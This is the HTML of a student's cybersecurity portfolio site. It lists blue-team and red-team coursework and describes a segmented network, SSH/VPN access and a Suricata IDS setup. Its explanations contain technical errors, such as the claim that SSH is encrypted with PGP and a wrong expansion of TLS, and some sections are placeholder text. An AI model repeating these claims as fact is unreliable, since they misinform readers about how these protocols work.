webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I 